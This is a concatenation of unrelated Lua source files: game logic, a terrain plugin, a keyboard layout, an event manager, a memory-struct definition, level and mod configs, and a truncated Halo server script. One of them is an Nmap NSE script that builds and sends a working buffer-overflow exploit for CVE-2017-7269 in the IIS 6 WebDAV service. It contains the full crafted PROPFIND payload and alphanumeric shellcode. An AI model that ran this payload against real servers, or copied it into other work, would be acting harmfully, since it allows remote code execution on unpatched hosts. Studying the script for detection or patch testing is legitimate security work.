nHeight = (#nLines) * (font24:getHeight() + font24:getLineHeight()) love.graphics.setColor(0.1,0,0,0.5) love.graphics.rectangle("fill", -3000, screenHeight - nHeight + ty, 6000, nHeight) love.graphics.setColor(1,1,1,1) love.graphics.printf(narration, 50 + tx, screenHeight - nHeight + ty, screenWidth - 100, 'center') end map:removeLayer("sprites") end function checkEncounters(player) if inEncounter == false then for _, sprite in pairs(map.layers["spritesRender"].sprites) do if player.x+player.sprite:getWidth() >= sprite.x and player.x <= sprite.x+sprite.width and player.y+player.sprite:getHeight() >= sprite.y and player.y <= sprite.y+sprite.height then if sprite.properties["Is"] == "enemy" and sprite.talkedTo == false then inEncounter = true setupDialogue(sprite.properties["Dialogue"]) gamePhase = "dialogue" sprite.talkedTo = true; if level == "tutorial" then narration = "Nice going, you’re a natural at this stuff! And look at the delicious food you’ve got now! You can click on your food to eat it. Make sure you eat enough food to avoid starving to death. Wouldn’t want that. You can always eat some Maple Syrup to satiate your hunger, but eating too much Maple Syrup will cause you to gain weight. Gain too much weight and, well, best you just don’t do that. Alright, well, guess I’ll leave you to it. Best of luck, and try not to die!" end break elseif sprite.properties["Is"] == "door" then if sprite.name == "homeDoor" then if not clothed == true then narration = "Easy there pal, I get it’s the apocalypse, but we’re not savages. Go put some clothes on." break elseif not backpacked == true then narration = "I think you’re forgetting the whole reason you have to leave the house. You know, food. Go get your backpack so you can hold any food you find along the way." break end elseif sprite.name == "tutorialDoor" then if not tutorialComplete == true then break end end level = sprite.properties["LeadsTo"] currMap = setupMap("assets/maps/"..level..".lua") break elseif sprite.properties["Is"] == "maplesyrup" and sprite.talkedTo == false then inventoryAdd("Maple syrup") sprite.talkedTo = true; break elseif sprite.name == "clothes" and not clothed == true then narration = "Oh hey, looks like your shirt’s got a name tag on it, how handy. Too bad I can't read." clothed = true playerSprite = "player" elseif sprite.name == "backpack" and not backpacked == true then narration = "Backpack get! Now you can store all the food!" backpacked = true elseif sprite.name == "smeg" then gamePhase = "gameover" end end end end end
local nmap = require "nmap" local string = require "string" local shortport = require "shortport" local vulns = require "vulns" -- NSE Buffer Overflow vulnerability in IIS --- -- @usage -- ./nmap iis-buffer-overflow <target> -- -- @output -- PORT STATE SERVICE -- 80/tcp open http -- | iis-buffer-overflow: -- | VULNERABLE: Buffer Overflow in IIS 6 and Windows Server 2003 R2 -- | State: LIKELY_VULNERABLE -- | Risk factor: High CVSS: 10.0 -- | Description: -- | Buffer overflow in the ScStoragePathFromUrl function in the WebDAV -- | service in Internet Information Services (IIS) 6.0 -- | in Microsoft Windows Server 2003 R2 allows remote attackers to execute -- | arbitrary code via a long header beginning with "If: <http://" in a -- | PROPFIND request, as exploited in the wild in July or August 2016. -- | -- | Original exploit by Zhiniang Peng and Chen Wu. -- | -- | References: -- | https://github.com/edwardz246003/IIS_exploit, -- |_ https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html -- author = { "Zhiniang Peng", -- Original author "Chen Wu", -- Original author "Rewanth Cool" -- NSE script author } license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"exploit", "vuln", "intrusive"} portrule = shortport.portnumber(80, "tcp") action = function(host, port) local socket, response, try, catch, payload, shellcode, vulnerable_name local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port) local vuln = { title = 'Buffer Overflow in IIS 6 and Windows Server 2003 R2', state = vulns.STATE.NOT_VULN, risk_factor = "High", description = [[ Buffer overflow in the ScStoragePathFromUrl function in the WebDAV service in Internet Information Services (IIS) 6.0 in Microsoft Windows Server 2003 R2 allows remote attackers to execute arbitrary code via a long header beginning with "If: <http://" in a PROPFIND request, as exploited in the wild in July or August 2016. Original exploit by Zhiniang Peng and Chen Wu. ]], IDS = { CVE = 'CVE-2017-7269' }, scores = { CVSS = '10.0' }, references = { 'https://github.com/edwardz246003/IIS_exploit', 'https://0patch.blogspot.in/2017/03/0patching-immortal-cve-2017-7269.html' }, dates = { disclosure = {year = '2017', month = '03', day = '26'}, } } -- If domain name doesn't exist this line of code takes ip into consideration vulnerable_name = host.targetname or host.ip socket = nmap.new_socket() catch = function() socket:close() end try = nmap.new_try(catch) try(socket:connect(host, port)) -- Crafting the payload by parts -- Crafting the request with HTTP PROPFIND method payload = 'PROPFIND / HTTP/1.1\r\nHost: ' .. vulnerable_name .. '\r\nContent-Length: 0\r\n' payload = payload .. 'If: <http://' .. vulnerable_name .. '/aaaaaaa' -- Random text added to payload (Can be modified only for experimental purposes) payload = payload .. '\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe4\xad\xb7\xe4\xbd' payload = payload .. '\xb0\xe7\x95\x93\xe7\xa9\x8f\xe4\xa1\xa8\xe5\x99\xa3\xe6\xb5\x94\xe6\xa1\x85\xe3\xa5\x93\xe5\x81\xac\xe5' payload = payload .. '\x95\xa7\xe6\x9d\xa3\xe3\x8d\xa4\xe4\x98\xb0\xe7\xa1\x85\xe6\xa5\x92\xe5\x90\xb1\xe4\xb1\x98\xe6\xa9\x91' payload = payload .. '\xe7\x89\x81\xe4\x88\xb1\xe7\x80\xb5\xe5\xa1\x90\xe3\x99\xa4\xe6\xb1\x87\xe3\x94\xb9\xe5\x91\xaa\xe5\x80' payload = payload .. '\xb4\xe5\x91\x83\xe7\x9d\x92\xe5\x81\xa1\xe3\x88\xb2\xe6\xb5\x8b\xe6\xb0\xb4\xe3\x89\x87\xe6\x89\x81\xe3' payload = payload .. '\x9d\x8d\xe5\x85\xa1\xe5\xa1\xa2\xe4\x9d\xb3\xe5\x89\x90\xe3\x99\xb0\xe7\x95\x84\xe6\xa1\xaa\xe3\x8d\xb4' payload = payload .. '\xe4\xb9\x8a\xe7\xa1\xab\xe4\xa5\xb6\xe4\xb9\xb3\xe4\xb1\xaa\xe5\x9d\xba\xe6\xbd\xb1\xe5\xa1\x8a\xe3\x88' payload = payload .. '\xb0\xe3\x9d\xae\xe4\xad\x89\xe5\x89\x8d\xe4\xa1\xa3\xe6\xbd\x8c\xe7\x95\x96\xe7\x95\xb5\xe6\x99\xaf\xe7' payload = payload .. '\x99\xa8\xe4\x91\x8d\xe5\x81\xb0\xe7\xa8\xb6\xe6\x89\x8b\xe6\x95\x97\xe7\x95\x90\xe6\xa9\xb2\xe7\xa9\xab' payload = payload .. '\xe7\x9d\xa2\xe7\x99\x98\xe6\x89\x88\xe6\x94\xb1\xe3\x81\x94\xe6\xb1\xb9\xe5\x81\x8a\xe5\x91\xa2\xe5\x80' payload = payload .. '\xb3\xe3\x95\xb7' -- Main payload (Do not edit this part) payload = payload .. '\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6' payload = payload .. '\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88' payload = payload .. '\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5' payload = payload .. '\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83' payload = payload .. '\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d' payload = payload .. '\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7' payload = payload .. '\xa5\x81\xe7\xa9\x90\xe4\xa9\xac' payload = payload .. '>' payload = payload .. ' (Not <locktoken:write1>) <http://' .. vulnerable_name .. '/bbbbbbb' -- Random text added to payload (Can be modified only for experimental purposes) payload = payload .. '\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe6' payload = payload .. '\x9d\xb5\xe4\x90\xb3\xe3\xa1\xb1\xe5\x9d\xa5\xe5\xa9\xa2\xe5\x90\xb5\xe5\x99\xa1\xe6\xa5\x92\xe6\xa9\x93\xe5' payload = payload .. '\x85\x97\xe3\xa1\x8e\xe5\xa5\x88\xe6\x8d\x95\xe4\xa5\xb1\xe4\x8d\xa4\xe6\x91\xb2\xe3\x91\xa8\xe4\x9d\x98\xe7' payload = payload .. '\x85\xb9\xe3\x8d\xab\xe6\xad\x95\xe6\xb5\x88\xe5\x81\x8f\xe7\xa9\x86\xe3\x91\xb1\xe6\xbd\x94\xe7\x91\x83\xe5' payload = payload .. '\xa5\x96\xe6\xbd\xaf\xe7\x8d\x81\xe3\x91\x97\xe6\x85\xa8\xe7\xa9\xb2\xe3\x9d\x85\xe4\xb5\x89\xe5\x9d\x8e\xe5' payload = payload .. '\x91\x88\xe4\xb0\xb8\xe3\x99\xba\xe3\x95\xb2\xe6\x89\xa6\xe6\xb9\x83\xe4\xa1\xad\xe3\x95\x88\xe6\x85\xb7\xe4' payload = payload .. '\xb5\x9a\xe6\x85\xb4\xe4\x84\xb3\xe4\x8d\xa5\xe5\x89\xb2\xe6\xb5\xa9\xe3\x99\xb1\xe4\xb9\xa4\xe6\xb8\xb9\xe6' payload = payload .. '\x8d\x93\xe6\xad\xa4\xe5\x85\x86\xe4\xbc\xb0\xe7\xa1\xaf\xe7\x89\x93\xe6\x9d\x90\xe4\x95\x93\xe7\xa9\xa3\xe7' payload = payload .. '\x84\xb9\xe4\xbd\x93\xe4\x91\x96\xe6\xbc\xb6\xe7\x8d\xb9\xe6\xa1\xb7\xe7\xa9\x96\xe6\x85\x8a\xe3\xa5\x85\xe3' payload = payload .. '\x98\xb9\xe6\xb0\xb9\xe4\x94\xb1\xe3\x91\xb2\xe5\x8d\xa5\xe5\xa1\x8a\xe4\x91\x8e\xe7\xa9\x84\xe6\xb0\xb5' -- Main payload (Do not edit this part) payload = payload .. '\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7' payload = payload .. '\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6' payload = payload .. '\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5' payload = payload .. '\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7' payload = payload .. '\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6' payload = payload .. '\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae' payload = payload .. '\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80' payload = payload .. '\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c' payload = payload .. '\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0' payload = payload .. '\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8' payload = payload .. '\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81' -- Shellcode shellcode = 'VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABA' shellcode = shellcode .. 'BAB30APB944JB6X6WMV7O7Z8Z8Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LMX1ZLP0V' shellcode = shellcode .. '3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O0' shellcode = shellcode .. '2LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XKQ3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJZ' shellcode = shellcode .. '2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3ULY7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1' shellcode = shellcode .. 'KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA' payload = payload .. shellcode payload = payload .. '>\r\n\r\n' -- Exploiting the vulnerability try(socket:send(payload)) -- We receive a 200 response if the payload succeeds. response = try(socket:receive_bytes(80960)) socket:close() -- Checking for 200 response in the response local regex = "HTTP/1.1 (%d+)" local status = string.match(response, regex) if status == '200' then -- Buffer overflow is successfully executed on the server. vuln.state = vulns.STATE.EXPLOIT vuln.exploit_results = response elseif status == '400' then -- Bad request error is occured because webdav is not installed. vuln.state = vulns.STATE.LIKELY_VULN vuln.exploit_results = "Server returned 400: Install webdav and try again." elseif status == '502' then -- Likely to have an error in the Server Name vuln.state = vulns.STATE.LIKELY_VULN vuln.exploit_results = "Server returned 502: Please try to change ServerName and run the exploit again" elseif status ~= nil then vuln.exploit_results = response end return vuln_report:make_output(vuln) end
return { name="Erosion", description="Erode heightmap.", options= { {name="Power", type="value", value=0.3}, {name="Iterations", type="value", value=1}, {name="Use Mask 0?", type="flag", value=false}, {name="Invert Mask 0?", type="flag", value=false}, {name="Use Mask 1?", type="flag", value=false}, {name="Invert Mask 1?", type="flag", value=false}, {name="Use Mask 2?", type="flag", value=false}, {name="Invert Mask 2?", type="flag", value=false}, }, execute=function(self) local ops=GetOptions(self.options) local power=ops["Power"] local ms=MaskSettings(ops["Use Mask 0?"], ops["Invert Mask 0?"], ops["Use Mask 1?"], ops["Invert Mask 1?"], ops["Use Mask 2?"], ops["Invert Mask 2?"]) local layername=ops["Layer"] local it=ops["Iterations"] local arr=CArray2Dd() TerrainState:GetHeightMap(arr) local c for c=1,it,1 do simpleErode(arr,0,power) end TerrainState:SetHeightBuffer(arr,ms,0) end }
return { {vkey = 0x1b, frame = {x=4.00, y=6.00, width=40.00, height=40.00}, caption="Esc"}; {vkey = 0x70, frame = {x=84.00, y=6.00, width=40.00, height=40.00}, caption="F1"}; {vkey = 0x71, frame = {x=124.00, y=6.00, width=40.00, height=40.00}, caption="F2"}; {vkey = 0x72, frame = {x=164.00, y=6.00, width=40.00, height=40.00}, caption="F3"}; {vkey = 0x73, frame = {x=204.00, y=6.00, width=40.00, height=40.00}, caption="F4"}; {vkey = 0x74, frame = {x=264.00, y=6.00, width=40.00, height=40.00}, caption="F5"}; {vkey = 0x75, frame = {x=304.00, y=6.00, width=40.00, height=40.00}, caption="F6"}; {vkey = 0x76, frame = {x=344.00, y=6.00, width=40.00, height=40.00}, caption="F7"}; {vkey = 0x77, frame = {x=384.00, y=6.00, width=40.00, height=40.00}, caption="F8"}; {vkey = 0x78, frame = {x=444.00, y=6.00, width=40.00, height=40.00}, caption="F9"}; {vkey = 0x79, frame = {x=484.00, y=6.00, width=40.00, height=40.00}, caption="F10"}; {vkey = 0x7a, frame = {x=524.00, y=6.00, width=40.00, height=40.00}, caption="F11"}; {vkey = 0x7b, frame = {x=564.00, y=6.00, width=40.00, height=40.00}, caption="F12"}; {vkey = 0x00, frame = {x=4.00, y=82.00, width=40.00, height=40.00}, caption="`"}; {vkey = 0x31, frame = {x=44.00, y=82.00, width=40.00, height=40.00}, caption="1"}; {vkey = 0x32, frame = {x=84.00, y=82.00, width=40.00, height=40.00}, caption="2"}; {vkey = 0x33, frame = {x=124.00, y=82.00, width=40.00, height=40.00}, caption="3"}; {vkey = 0x34, frame = {x=164.00, y=82.00, width=40.00, height=40.00}, caption="4"}; {vkey = 0x35, frame = {x=204.00, y=82.00, width=40.00, height=40.00}, caption="5"}; {vkey = 0x36, frame = {x=244.00, y=82.00, width=40.00, height=40.00}, caption="6"}; {vkey = 0x37, frame = {x=284.00, y=82.00, width=40.00, height=40.00}, caption="7"}; {vkey = 0x38, frame = {x=324.00, y=82.00, width=40.00, height=40.00}, caption="8"}; {vkey = 0x39, frame = {x=364.00, y=82.00, width=40.00, height=40.00}, caption="9"}; {vkey = 0x30, frame = {x=404.00, y=82.00, width=40.00, height=40.00}, caption="0"}; {vkey = 0xbd, frame = {x=444.00, y=82.00, width=40.00, height=40.00}, caption="-"}; {vkey = 0xbb, frame = {x=484.00, y=82.00, width=40.00, height=40.00}, caption="="}; {vkey = 0x08, frame = {x=524.00, y=82.00, width=80.00, height=40.00}, caption="Backspace"}; {vkey = 0x09, frame = {x=4.00, y=122.00, width=60.00, height=40.00}, caption="Tab"}; {vkey = 0x51, frame = {x=64.00, y=122.00, width=40.00, height=40.00}, caption="Q"}; {vkey = 0x57, frame = {x=104.00, y=122.00, width=40.00, height=40.00}, caption="W"}; {vkey = 0x45, frame = {x=144.00, y=122.00, width=40.00, height=40.00}, caption="E"}; {vkey = 0x52, frame = {x=184.00, y=122.00, width=40.00, height=40.00}, caption="R"}; {vkey = 0x54, frame = {x=224.00, y=122.00, width=40.00, height=40.00}, caption="T"}; {vkey = 0x59, frame = {x=264.00, y=122.00, width=40.00, height=40.00}, caption="Y"}; {vkey = 0x55, frame = {x=304.00, y=122.00, width=40.00, height=40.00}, caption="U"}; {vkey = 0x49, frame = {x=344.00, y=122.00, width=40.00, height=40.00}, caption="I"}; {vkey = 0x4f, frame = {x=384.00, y=122.00, width=40.00, height=40.00}, caption="O"}; {vkey = 0x50, frame = {x=424.00, y=122.00, width=40.00, height=40.00}, caption="P"}; {vkey = 0xdb, frame = {x=464.00, y=122.00, width=40.00, height=40.00}, caption="["}; {vkey = 0xdd, frame = {x=504.00, y=122.00, width=40.00, height=40.00}, caption="]"}; {vkey = 0xdc, frame = {x=544.00, y=122.00, width=60.00, height=40.00}, caption="\\"}; {vkey = 0x14, frame = {x=4.00, y=162.00, width=70.00, height=40.00}, caption="Caps"}; {vkey = 0x41, frame = {x=74.00, y=162.00, width=40.00, height=40.00}, caption="A"}; {vkey = 0x53, frame = {x=114.00, y=162.00, width=40.00, height=40.00}, caption="S"}; {vkey = 0x44, frame = {x=154.00, y=162.00, width=40.00, height=40.00}, caption="D"}; {vkey = 0x46, frame = {x=194.00, y=162.00, width=40.00, height=40.00}, caption="F"}; {vkey = 0x47, frame = {x=234.00, y=162.00, width=40.00, height=40.00}, caption="G"}; {vkey = 0x48, frame = {x=274.00, y=162.00, width=40.00, height=40.00}, caption="H"}; {vkey = 0x4a, frame = {x=314.00, y=162.00, width=40.00, height=40.00}, caption="J"}; {vkey = 0x4b, frame = {x=354.00, y=162.00, width=40.00, height=40.00}, caption="K"}; {vkey = 0x4c, frame = {x=394.00, y=162.00, width=40.00, height=40.00}, caption="L"}; {vkey = 0xba, frame = {x=434.00, y=162.00, width=40.00, height=40.00}, caption=";"}; {vkey = 0xde, frame = {x=474.00, y=162.00, width=40.00, height=40.00}, caption="'"}; {vkey = 0x0d, frame = {x=514.00, y=162.00, width=90.00, height=40.00}, caption="Enter"}; {vkey = 0xa0, frame = {x=4.00, y=202.00, width=90.00, height=40.00}, caption="Shift"}; {vkey = 0x5a, frame = {x=94.00, y=202.00, width=40.00, height=40.00}, caption="Z"}; {vkey = 0x58, frame = {x=134.00, y=202.00, width=40.00, height=40.00}, caption="X"}; {vkey = 0x43, frame = {x=174.00, y=202.00, width=40.00, height=40.00}, caption="C"}; {vkey = 0x56, frame = {x=214.00, y=202.00, width=40.00, height=40.00}, caption="V"}; {vkey = 0x42, frame = {x=254.00, y=202.00, width=40.00, height=40.00}, caption="B"}; {vkey = 0x4e, frame = {x=294.00, y=202.00, width=40.00, height=40.00}, caption="N"}; {vkey = 0x4d, frame = {x=334.00, y=202.00, width=40.00, height=40.00}, caption="M"}; {vkey = 0xbc, frame = {x=374.00, y=202.00, width=40.00, height=40.00}, caption=","}; {vkey = 0xbe, frame = {x=414.00, y=202.00, width=40.00, height=40.00}, caption="."}; {vkey = 0xbf, frame = {x=454.00, y=202.00, width=40.00, height=40.00}, caption="/"}; {vkey = 0xa1, frame = {x=494.00, y=202.00, width=110.00, height=40.00}, caption="Shift"}; {vkey = 0xa2, frame = {x=4.00, y=242.00, width=50.00, height=40.00}, caption="Ctrl"}; {vkey = 0x5b, frame = {x=54.00, y=242.00, width=50.00, height=40.00}, caption="Win"}; {vkey = 0x12, frame = {x=104.00, y=242.00, width=50.00, height=40.00}, caption="Alt"}; {vkey = 0x20, frame = {x=154.00, y=242.00, width=250.00, height=40.00}, caption="Space"}; {vkey = 0x12, frame = {x=404.00, y=242.00, width=50.00, height=40.00}, caption="Alt"}; {vkey = 0x5c, frame = {x=454.00, y=242.00, width=50.00, height=40.00}, caption="Win"}; {vkey = 0xa5, frame = {x=504.00, y=242.00, width=50.00, height=40.00}, caption="Menu"}; {vkey = 0xa3, frame = {x=554.00, y=242.00, width=50.00, height=40.00}, caption="Ctrl"}; }
--- --- ColaFramework框架事件管理中心 --- local EventMgr = Class("EventMgr") local bit = require "bit" --实例对象 local _instance = nil -- 获取单例接口 function EventMgr:Instance() if _instance == nil then _instance = EventMgr:new() end return _instance end -- override 初始化各种数据 function EventMgr:initialize() --观察者列表 self._listeners = {} self.testTable = { 1, 2, 3, 4 } end function EventMgr:RegisterEvent(moduleId, eventId, func) local key = bit.lshift(moduleId, 16) + eventId self:AddEventListener(key, func, nil) end function EventMgr:UnRegisterEvent(moduleId, eventId, func) local key = bit.lshift(moduleId, 16) + eventId self:RemoveEventListener(key, func) end function EventMgr:DispatchEvent(moduleId, eventId, param) local key = bit.lshift(moduleId, 16) + eventId local listeners = self._listeners[key] if nil == listeners then return end for _, v in ipairs(listeners) do if v.p then v.f(v.p, param) else v.f(param) end end end function EventMgr:AddEventListener(eventId, func, param) local listeners = self._listeners[eventId] -- 获取key对应的监听者列表,结构为{func,para},如果没有就新建 if listeners == nil then listeners = {} self._listeners[eventId] = listeners -- 保存监听者 end --过滤掉已经注册过的消息,防止重复注册 for _, v in pairs(listeners) do if (v and v.f == func) then return end end --if func == nil then -- print("func is nil!") --end --加入监听者的回调和参数 table.insert(listeners, { f = func, p = param }) end function EventMgr:RemoveEventListener(eventId, func) local listeners = self._listeners[eventId] if nil == listeners then return end for k, v in pairs(listeners) do if (v and v.f == func) then table.remove(listeners, k) return end end end return EventMgr
--[[ Project: SA Memory (Available from https://blast.hk/) Developers: LUCHARE, FYP Special thanks: plugin-sdk (https://github.com/DK22Pac/plugin-sdk) for the structures and addresses. Copyright (c) 2018 BlastHack. ]] local shared = require 'SAMemory.shared' shared.require 'eCamMode' shared.require 'CVehicle' shared.require 'CPed' shared.require 'vector3d' shared.ffi.cdef[[ typedef struct CCam { bool bBelowMinDist; bool bBehindPlayerDesired; bool bCamLookingAtVector; bool bCollisionChecksOn; bool bFixingBeta; bool bTheHeightFixerVehicleIsATrain; bool bLookBehindCamWasInFront; bool bLookingBehind; bool bLookingLeft; bool bLookingRight; bool bResetStatics; bool bRotating; eCamMode nMode; unsigned int nFinishTime; unsigned int nDoCollisionChecksOnFrameNum; unsigned int nDoCollisionCheckEveryNumOfFrames; unsigned int nFrameNumWereAt; unsigned int nRunningVectorArrayPos; unsigned int nRunningVectorCounter; unsigned int nDirectionWasLooking; float fMaxRoleAngle; float fRoll; float fRollSpeed; float fSyphonModeTargetZOffSet; float fAmountFractionObscured; float fAlphaSpeedOverOneFrame; float fBetaSpeedOverOneFrame; float fBufferedTargetBeta; float fBufferedTargetOrientation; float fBufferedTargetOrientationSpeed; float fCamBufferedHeight; float fCamBufferedHeightSpeed; float fCloseInPedHeightOffset; float fCloseInPedHeightOffsetSpeed; float fCloseInCarHeightOffset; float fCloseInCarHeightOffsetSpeed; float fDimensionOfHighestNearCar; float fDistanceBeforeChanges; float fFovSpeedOverOneFrame; float fMinDistAwayFromCamWhenInterPolating; float fPedBetweenCameraHeightOffset; float fPlayerInFrontSyphonAngleOffSet; float fRadiusForDead; float fRealGroundDist; float fTargetBeta; float fTimeElapsedFloat; float fTilt; float fTiltSpeed; float fTransitionBeta; float fTrueBeta; float fTrueAlpha; float fInitialPlayerOrientation; float fVerticalAngle; float fAlphaSpeed; float fFOV; float fFOVSpeed; float fHorizontalAngle; float fBetaSpeed; float fDistance; float fDistanceSpeed; float fCaMinDistance; float fCaMaxDistance; float fSpeedVar; float fCameraHeightMultiplier; float fTargetZoomGroundOne; float fTargetZoomGroundTwo; float fTargetZoomGroundThree; float fTargetZoomOneZExtra; float fTargetZoomTwoZExtra; float fTargetZoomTwoInteriorZExtra; float fTargetZoomThreeZExtra; float fTargetZoomZCloseIn; float fMinRealGroundDist; float fTargetCloseInDist; float fBeta_Targeting; float fX_Targetting; float fY_Targetting; CVehicle *pCarWeAreFocussingOn; CVehicle *pCarWeAreFocussingOnI; float fCamBumpedHorz; float fCamBumpedVert; unsigned int nCamBumpedTime; vector3d vecSourceSpeedOverOneFrame; vector3d vecTargetSpeedOverOneFrame; vector3d vecUpOverOneFrame; vector3d vecTargetCoorsForFudgeInter; vector3d vecCamFixedModeVector; vector3d vecCamFixedModeSource; vector3d vecCamFixedModeUpOffSet; vector3d vecLastAboveWaterCamPosition; vector3d vecBufferedPlayerBodyOffset; vector3d vecFront; vector3d vecSource; vector3d vecSourceBeforeLookBehind; vector3d vecUp; vector3d avecPreviousVectors[2]; vector3d avecTargetHistoryPos[4]; unsigned int anTargetHistoryTime[4]; unsigned int nCurrentHistoryPoints; CEntity *pCamTargetEntity; float fCameraDistance; float fIdealAlpha; float fPlayerVelocity; CVehicle *pLastCarEntered; CPed *pLastPedLookedAt; bool bFirstPersonRunAboutActive; } CCam; ]] shared.validate_size('CCam', 0x238)
return { ["id"]=10010, ["name"]="寻路测试", ["groupName"]="Demo测试关卡", ["playStartAnimation"]=true, ["sceneName"]="Demo03.unity", ["sceneFile"]="Assets/Scenes/Demo03.unity", ["desc"]="", ["borns"]={ [1]={ ["uid"]="22898b4549bc4acdb8e7222442c3d893", ["transform"]= { ["id"]=0, ["name"]="", ["position"]={["x"]=22.4,["y"]=-1.005228,["z"]=27.11,}, ["scale"]={["x"]=1,["y"]=1,["z"]=1,}, ["rotation"]={["x"]=0,["y"]=270,["z"]=0,}, ["size"]={["x"]=1,["y"]=1,["z"]=1,}, } }, }, ["props"]={ }, ["triggers"]={ [1]={ ["id"]=3001, ["enable"]=true, ["unlimited"]=true, ["desc"]="", ["loopTimes"]=1, ["reachConditionNum"]=0, ["excuteNum"]=0, ["triggerExecutType"]=2, ["triggerNodes"]={ [1]={ ["id"]="1c5fb30b528242bf9dadfb7cec09a59d", ["Type"]="Start", ["enable"]=true, ["time"]=0, }, }, ["conditionNodes"]={ }, ["executeNodes"]={ [1]={ ["id"]="0474a099b97f451e86b8bb475c46acc8", ["Type"]="ActorEnter", ["enable"]=true, }, }}, }, }
function data() return { info = { minorVersion = 1, severityAdd = "NONE", severityRemove = "NONE", name = _("City roads with 0 height sidewalks"), description = _("City roads with 0 height sidewalks"), tags = { "street", "road"}, visible = true, authors = { { name = "NFS Moscow Melbourne", role = "Creator", }, }, }, } end
--[[ --=====================================================================================================-- Script Name: Melee, for SAPP (PC & CE) Description: Custom Melee game Copyright (c) 2016-2020, Jericho Crosby <jericho.crosby227@gmail.com> * Notice: You can use this document subject to the following conditions: https://github.com/Chalwk77/HALO-SCRIPT-PROJECTS/blob/master/LICENSE --=====================================================================================================-- ]]-- api_version = "1.12.0.0" local Melee = { -- Configuration [starts] >> ---------- scorelimit = 50, -- Melee Object (weapon index from objects table)" weapon = 12, objects = { -- false = prevent spawning | true = allow spawning [1] = { "eqip", "powerups\\health pack", true }, [2] = { "eqip", "powerups\\over shield", true }, [3] = { "eqip", "powerups\\active camouflage", true }, [4] = { "eqip", "weapons\\frag grenade\\frag grenade", false }, [5] = { "eqip", "weapons\\plasma grenade\\plasma grenade", false }, [6] = { "vehi", "vehicles\\ghost\\ghost_mp", false }, [7] = { "vehi", "vehicles\\rwarthog\\rwarthog", false }, [8] = { "vehi", "vehicles\\banshee\\banshee_mp", false }, [9] = { "vehi", "vehicles\\warthog\\mp_warthog", false }, [10] = { "vehi", "vehicles\\scorpion\\scorpion_mp", false }, [11] = { "vehi", "vehicles\\c gun turret\\c gun turret_mp", false }, [12] = { "weap", "weapons\\ball\\ball", true }, -- DO NOT DISABLE if this is the melee object. [13] = { "weap", 